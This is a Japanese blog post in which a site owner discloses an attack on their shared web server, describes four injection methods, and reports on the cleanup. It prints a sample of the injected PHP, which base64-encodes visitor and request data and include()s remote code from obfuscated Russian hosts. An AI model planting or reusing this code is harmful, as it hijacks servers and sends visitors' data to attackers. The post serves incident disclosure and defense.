Web サイトが攻撃を受けました

7月21日 12:13EST 頃、本ブログを置いている Web サーバが攻撃を受け、第三者への書き込みを許可していたディレクトリに不正な PHP ファイルが書き込まれていました。 現在公開している WordPress のブログ関連ファイルが改竄された形跡はありませんでしたが、画像のアップロード用にしていたディレクトリに不正なファイルがいくつか残っていました。(ディレクトリインデックス表示を不許可としていたため、問題の PHP ファイルにアクセスされることはありませんでした。) 発見した不正な PHP ファイルは既に削除済みです。

また、以前使用していた MovableType のアーカイブディレクトリをパーミッション 777 のまま放置していたため、中の PHP, html ファイルが改竄されていました。 こちらは既に使用していないので、ディレクトリごと削除いたしました。

【改竄内容】
攻撃者により改竄が行われた内容は、以下の 4通りです。 複数のディレクトリ/ファイルに渡って攻撃が行われました。

1. Others に対して書き込み権限を与えてあるディレクトリに、include_once() の http ハンドラを使用してロシアのサイトに接続するよう記述された php ファイルを作成する。(ファイル名はいくつかのパターンがありますが、system.php config.php など、他の PHP ファイルに紛れ込むようなファイル名が付けられています)

2. Others に対して書き込み権限を与えてあるディレクトリに、.htaccess を作成し、1 で設置されたファイルに誘導しようとする。

3. Others に対して書き込み権限を与えてある、既存の拡張子が .php のファイルに対して、1 と同様の内容を追記する。

4. Others に対して書き込み権限を与えてある、既存の拡張子が .html .htm のファイルに対して、外部参照 JavaScript でロシアのサイトに接続するよう追記する。

【コードサンプル】
1. 3. において、PHP ファイルに書き込まれたコードの例です。 ロシアのサイトに接続し、サーバ名、攻撃コードが仕掛けられた URL、アクセス時のパラメータ、参照元、アクセスした人の IP アドレスがロシアのサイトに送信されます。

error_reporting(0);
$s=”e”;$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
$c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
$d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
$e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"]
: $QUERY_STRING);
$f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"]
: $HTTP_REFERER);
$g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"]
: $HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
$str=base64_encode($a).”.”.base64_encode($b).”.”.base64_encode($c)
.”.”.base64_encode($d).”.”.base64_encode($e).”.”.base64_encode($f).”.”
.base64_encode($g).”.”.base64_encode($h).”.$s”;
if ((include(base64_decode(“aHR0cDovLw==”)
.base64_decode(“dXNlcjkubXNodG1sLnJ1″).”/?”.$str))){} else {
inc lude(base64_decode(“aHR0cDovLw==”)
.base64_decode(“dXNlcjcuaHRtbHRhZ3MucnU=”).”/?”.$str);}

エンコードされた文字列で検索すると、複数箇所で被害が出ていることを確認できました。

【調査状況】
プロバイダのスタッフに、アクセスログの検証作業を行っていただきましたが、rhein-strasse.de ドメインへのアクセス記録からは不審なアクセスは見つかりませんでした。 同じサーバを使用している(このサイトは、共有サーバのバーチャルドメイン運用です)他のユーザからも同様の報告があったとの事でしたので、現在サーバ全体のログファイルを調査中していただいております。

【対応状況:追記1】
18:00CEST 頃、サーバはメンテナンス中のため断続的に接続できない事があるとのアナウンスが出ていました。

【対応状況:追記2】
21:00CEST 現在、サーバの PHP が、モジュールモードから CGI モードに変更されています。 プロバイダからは、引き続き対応中とのコメントしか出ていませんが。

Comments are closed.